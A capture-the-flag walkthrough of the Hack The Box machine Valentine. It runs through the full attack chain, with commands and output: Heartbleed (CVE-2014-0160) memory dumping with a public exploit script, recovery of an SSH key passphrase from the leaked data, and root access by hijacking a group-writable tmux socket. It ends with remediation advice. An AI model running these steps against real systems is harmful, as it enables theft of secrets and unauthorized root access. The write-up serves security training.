- OS: Linux (Ubuntu 12.04 LTS)
- Domain / vhosts:
valentine.htb
Summary
Valentine is the canonical Heartbleed box on HTB. Everything from the box name to the homepage image (the Heartbleed disclosure logo) announces the CVE; the challenge is executing it correctly against an unpatched OpenSSL and extracting usable data from heap memory dumps.
The kill-chain is: nmap with default NSE scripts flags
CVE-2014-0160 (Heartbleed) on port 443 → gobuster finds /dev/hype_key
(a hex-encoded encrypted RSA private key) and /decode.php (a base64
decoder whose POST traffic is in memory) → iterating Heartbleed dumps
against the live server leaks a base64-encoded string from heap memory →
decoding it yields the key passphrase heartbleedbelievethehype → SSH
as user hype → a world-accessible tmux socket owned by root
(/.devs/dev_sess) is group-writable by hype → tmux attach yields a
root shell.
Two techniques recur across many HTB boxes and deserve close attention: heap memory scraping via a transport-layer vulnerability (Heartbleed is the classic but the pattern applies to any server-side memory disclosure), and tmux / screen socket hijacking (a root-owned socket with overly permissive group ownership is a trivial privesc).
Source attribution
- 0xdf, “HTB: Valentine” — https://0xdf.gitlab.io/2018/07/28/htb-valentine.html. Primary source. Covers the nmap Heartbleed detection, hex-key decoding, the mass-dump loop, passphrase recovery, and the tmux socket path.
- IppSec, “Valentine” video walkthrough — https://ippsec.rocks/?#Valentine.
- CVE-2014-0160 (Heartbleed), OpenSSL advisory April 2014.
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10
80/tcp open http Apache httpd 2.2.22 (Ubuntu)
443/tcp open https Apache httpd 2.2.22 (Ubuntu)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
| cryptographic software library.
| State: VULNERABLE
| Risk factor: High
| CVE: CVE-2014-0160
nmap’s default -sC script set includes ssl-heartbleed, which fires
against any TLS port and reports the result. No additional flags are needed
to confirm the vulnerability. The SSH version pins Ubuntu 12.04 (Precise
Pangolin), an EOL release with the unpatched OpenSSL 1.0.1 that shipped
with it.
The box homepage renders a single image: the Heartbleed disclosure logo. No other content on HTTP or HTTPS.
Web enumeration
gobuster dir -u https://<TARGET>/ -k \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html
(-k disables certificate verification for the self-signed cert.)
Key findings:
| Path | Notes |
|---|---|
/dev/ |
Directory listing enabled |
/dev/hype_key |
Hex-encoded RSA private key |
/dev/notes.txt |
Developer notes referencing an encoder/decoder in progress |
/encode.php |
Base64 encoder (GET or POST text=) |
/decode.php |
Base64 decoder — POST traffic is in memory; Heartbleed will leak it |
/dev/hype_key is the load-bearing find. Its filename leaks the username
(hype), and its content is the encrypted RSA private key stored as a hex
dump. The notes confirm the encoder/decoder pages are actively used, making
them the traffic source Heartbleed will scrape.
Recovering the SSH key
/dev/hype_key is hex-encoded, not PEM. Convert it:
wget -q https://<TARGET>/dev/hype_key --no-check-certificate
cat hype_key | xxd -r -p > hype_key.pem
The decoded file is an AES-128-CBC encrypted RSA private key:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
...
The passphrase is unknown at this stage. Heartbleed provides it.
Foothold — CVE-2014-0160 (Heartbleed)
Heartbleed is a bounds-checking bug in OpenSSL’s TLS heartbeat extension
(RFC 6520). The client sends a heartbeat request with a declared payload
length; the server copies length bytes from server memory into the
response without verifying that the actual payload is that long. A request
claiming a 64 KB payload with a 1-byte actual body leaks up to 64 KB of
whatever occupies server heap memory adjacent to the request buffer — TLS
session keys, private key material, plaintext from decrypted traffic,
cookie values, and POST body parameters.
Because /decode.php is being actively POSTed to (by the box itself or
by prior players), its request bodies are present in heap memory. Those
bodies contain base64 strings that Heartbleed can read back.
searchsploit heartbleed
searchsploit -m exploits/multiple/remote/32764.py
A single run leaks a random slice of memory. Run in a loop until the POST body surfaces:
mkdir -p dumps
for i in $(seq 1 200); do
python3 32764.py <TARGET> >> dumps/dump_$i.txt 2>/dev/null
done
Search the dumps for base64-looking strings in text= POST parameters:
grep -r "text=" dumps/ | grep -oP 'text=\K[A-Za-z0-9+/=]+'
The string that appears consistently across dumps:
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Decode it:
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
# → heartbleedbelievethehype
This is the passphrase for the encrypted key. Decrypt it and connect:
openssl rsa -in hype_key.pem -out hype_key.dec
# Enter passphrase: heartbleedbelievethehype
chmod 600 hype_key.dec
# Modern OpenSSH clients disable RSA-SHA1 by default; the flag re-enables it
ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -i hype_key.dec hype@<TARGET>
hype@Valentine:~$ id
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),...
user.txt is at /home/hype/user.txt.
Privilege escalation — tmux socket hijacking
Enumerate running processes as hype:
ps aux | grep tmux
root 1022 0.0 0.1 26416 1680 ? Ss Jul25 0:54
/usr/bin/tmux -S /.devs/dev_sess
Root is running a tmux session with its socket at /.devs/dev_sess. Check
the socket’s permissions:
ls -la /.devs/
# srw-rw---- 1 root hype 0 Jul 25 15:07 dev_sess
The socket is owned by root but its group is hype with read/write
permission. Since the current user is hype, the socket is writable.
tmux’s attach subcommand connects to an existing session via its socket:
tmux -S /.devs/dev_sess attach
This attaches to the root-owned tmux session. Any command typed in the terminal runs in root’s shell context:
root@Valentine:/# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Heartbleed leaks adjacent heap memory: TLS heartbeat responses are assembled by copying bytes from the heap starting at the received payload buffer. Without a bounds check, the copy extends into adjacent heap allocations — decrypted POST bodies, session keys, whatever was recently allocated nearby. POST parameters are ideal leak targets because they are decrypted from TLS, placed in a heap buffer for application processing, and then not immediately freed.
/dev/directory listing and the hex key: Apache’s defaultOptions +Indexeson the/dev/path lets anyone enumerate its contents. The key file was placed there during development and never removed. The hex encoding is trivially reversed withxxd -r -p.- Username in key filename:
hype_keydirectly gives the SSH username. Combined with the private key and the cracked passphrase, this is a complete SSH credential set requiring zero brute-forcing. - tmux socket with group-write permission: The
hypeuser is in the group that owns/.devs/dev_sess. tmux uses Unix socket semantics: any process that can write to the socket can send tmux control messages, including the attach command. There is no separate authentication layer within tmux beyond filesystem permissions on the socket. - Ubuntu 12.04 / OpenSSL 1.0.1: Ubuntu 12.04 shipped OpenSSL 1.0.1 before the Heartbleed patch (1.0.1g). The EOL status of 12.04 means it no longer received security updates unless manually backported.
Counterfactuals
- Patch OpenSSL to 1.0.1g or later (released April 7, 2014, the same day the CVE was disclosed). All modern distributions carry the fix.
- Disable the TLS heartbeat extension at compile time
(
-DOPENSSL_NO_HEARTBEATS) if real-time heartbeat keepalive is not required. - Remove or relocate
/dev/hype_keyfrom the web-accessible document root. Private key material should never reside under a web server’s root regardless of encoding. - Disable directory listing:
Options -Indexesin the Apache configuration. - Set the tmux socket permissions to 0600 (owner-only):
tmux -S /path/to/socketwith a socket in a root-only directory. Alternatively, run the tmux session in a user account that does not require group-share with a low-privileged service account.
Key Takeaways
- Run nmap with
-sC(default scripts) against every port. Thessl-heartbleedNSE script fires automatically and returns a definitive vulnerability verdict — no separate detection step needed. - Heartbleed leaks are non-deterministic: the leaked memory contents change every request. A single run may show nothing useful; 50-200 iterations are typically needed. Pipe to a file and grep afterwards.
- Hex-encoded keys are a
xxd -r -paway from PEM format. Always check if a key file opens in a text editor before assuming it’s binary. - tmux and screen socket hijacking is a reliable privesc when a root
session is running and the socket has group or world write access.
Always check
ps aux | grep -E 'tmux|screen'andls -laon any socket directories found. - Username inference from filenames (
hype_key→hype) is a non-obvious but reliable signal. File names in/dev/,/backup/, or/home/directories often embed the account name.
References
- 0xdf, “HTB: Valentine” — https://0xdf.gitlab.io/2018/07/28/htb-valentine.html
- IppSec, “Valentine” — https://ippsec.rocks/?#Valentine
- CVE-2014-0160 (Heartbleed) — https://heartbleed.com/
- ExploitDB 32764 — OpenSSL Heartbleed (32764.py)